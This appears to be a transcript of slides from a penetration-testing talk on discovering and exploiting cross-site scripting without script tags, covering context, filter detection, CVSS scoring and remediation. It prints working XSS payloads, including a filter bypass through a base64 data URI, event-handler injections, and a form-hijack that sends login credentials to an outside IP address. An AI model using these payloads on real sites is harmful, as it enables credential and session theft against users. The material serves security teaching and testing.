This document discusses discovering and exploiting cross-site scripting (XSS) vulnerabilities without using <script> tags. It emphasizes that context is important for discovering XSS, including the area of the application, where the payload is injected, the user's role and browser, and how the vulnerability will be exploited. The document provides examples of XSS payloads that don't use <script> by injecting JavaScript into other HTML elements. It also discusses how to craft full exploits by combining XSS with other vulnerabilities like CSRF, session hijacking, and file uploads. The key to remediation is properly escaping all untrusted data based on context.

1. Application Context and Discovering
XSS without <Script>
Todd Benson

2. Overview
•
•
•
•
•
•
•
Review XSS
Discuss XSS test cases and discovery
Context
CVSS Scoring
Exploiting
Complimentary Vulnerabilities
Remediation

3. XSS Review
• Risk level: Moderate
• Description: Cross-Site Scripting results from application parameters that
allow user-supplied input to be presented in subsequent responses. In
particular, when the application allows HTML and JavaScript special
characters to be reflected, an attacker can cause the victim to observe
different application behavior than expected.
• Exploitation vector: In XSS scenarios, the application allows attacker to use
the application as a launching point for attacks against victims’ workstations.
An attacker with knowledge of the vulnerability can construct URLs to
appropriate PACTS application pages that cause malicious activity within the
victim’s browser.
• Recommendation: Validate user-supplied input server-side. Sanitize special
characters (e.g., <, >, “, ‘, etc) prior to returning those values to a requesting
client.

4. XSS Test Cases - Formal
1. Submit payloads to each request parameter
2. Identify any instances of the application returning the
request parameter unmodified
3. Find the location within the HTML of the supplied
input and review the surrounding HTML to identify
potential payloads
4. Submit various possible payloads to the application
via identified parameters
5. If payloads are returned unmodified, confirm with a
browser
6. If the payloads are modified, attempt to bypass the
server-side filters

5. XSS Discovery
• Basic Reflection
– XSSTEST
• Filter Detection
–
–
–
–
–
–
–
–
<XSSTEST>
<"';()>
"';()
%3cXSSTEST%3e
%3c%22%27%3b%28%29%3e
%22%27%3b%28%29
%25%33%63XSSTEST%25%33%65
%25%33%63%25%32%32%25%32%37%25%33%62%25%32%38%25%
32%39%25%33%65
– %25%32%32%25%32%37%25%33%62%25%32%38%25%32%39

6. XSS Test Cases – In reality
1.
2.
3.
4.
Discover XSS - Tool(s)
Confirm existence
Show PoC (Alert popup)
Craft an exploit
– Filter?
– How easily is the exploit detected?
– Will the exploit run most or all of the time?
– What are factors that may not allow it to run?
5. With other Vulns

7. Discovering XSS
Using tools
– Pretty good, for reflective
– Some are better than others
– Even when they are good, they can only do so
much
– At best, PoC
– Don’t understand context

8. Context
What do we mean by context?
 What… area of the application?
 Where… in the page is the payload injected?
 Who… is the client (User role AND browser)?
 How…. will it be exploited?

9. CVSS Scoring

10. XSS – Login Demo
• Simple page
– Enter username on one page and submit
– Enter password and submit
– Checks credentials
– Filters against <script> and variants

11. XSS – Login Demo (cont)
Simple
"><script>alert(1);</script><!--

12. XSS – Login Demo (cont)
Filter Bypass
" type="hidden"
/></center></form><object
data="data:text/html;charset=utf-8;
base64,PHNjcmlwdD5hbGVydCgxKTs8L3Njcm
lwdD4NCg%3D%3D" /></body></html><!--

13. XSS – Login Demo (cont)
Form abuse
" type=hidden></form><form
action="http://156.132.142.11/pa
sswords.php method="get"><input
name="Username" value="

14. XSS without < or > - Demo
• Page has 6 different inputs, each one exploitable
• For demo purposes only, not meant to be practical or
realistic
• < and > are filtered
– All exploits must be done in context

15. XSS without < or > - Demo (cont)
Payloads
• Number: ';alert(1);a='
• Link: Test" onclick=alert(1) name="
• Image: a" onerror=alert(1) name=" ##
use onload instead?

16. XSS without < or > - Demo (cont)
Payloads
• Name: Todd";} catch(e)
{}; alert(1); try{ a="
• Comment: test" type="image"
src="a" onerror=alert(1) name="
• Color: ff000;display:block;position:
absolute;top:0;left:0;width:999em;
height:999em onmouseover=alert(1)

17. Exploiting – Crafting an Exploit
What can you do?
• Modify the page (Site defacement)
• Key Logger
• Redirect Browser (Forced Browsing)
– Steal Cookie (Session hijacking?)
– XSSF
– BeEF
– Load remotely hosted scripts
• Data theft

18. Exploiting – Crafting an Exploit (Cont)
What else????
• Combination:
– Number: '; function test() { var elem =
document.getElementById("Comment");
elem.value = 'My default value';}; a=‘
– Comment: " onblur="test();" id="Comment

19. Complimentary Vulns
•
•
•
•
•
•
•
GET/POST
HttpOnly
Session Hijacking
Clickjacking
CSRF
File Upload
What else???
XSS
GET
POST
Clickjacking
HTTPOnly
Session
Hijacking
CSRF

20. CVSS Scoring Steps
• One tool finds it
– (Report Confidence: Unconfirmed; Exploitability:
Unproven that exploit exists)
• Two tools find it
– (Report Confidence: Uncorroborated)
• Manual verification in browser
– (Report Confidence: Confirmed)
• Popup
– (Exploitability: Proof of concept code)
• Exploit
– (Exploitability: Functional exploit exists)

21. CVSS Scoring Steps (Cont)
Impact Metrics; General Modifiers; Access Complexity;
Exploitability;
• Type of exploit
• Refined exploit
• Complimentary vulns

22. Remediation
• <>"'=;
• Properly Escape all untrusted
data based on context (Use a
anti-XSS library)
• Use Content Security Policy

23. Summary
• <script>alert(1);</script> isn’t enough to
discover XSS and evaluate risk
• Context – Context – Context
– of payloads
– of who the user is
– of location in application
– of relation to other vulns

24. Questions?

25. References
•
•
•
•
•
mitre
wahh
http://securityoverride.org/articles.php?article_id=13
SANS 542 and 642
http://www.slideshare.net/jimmanico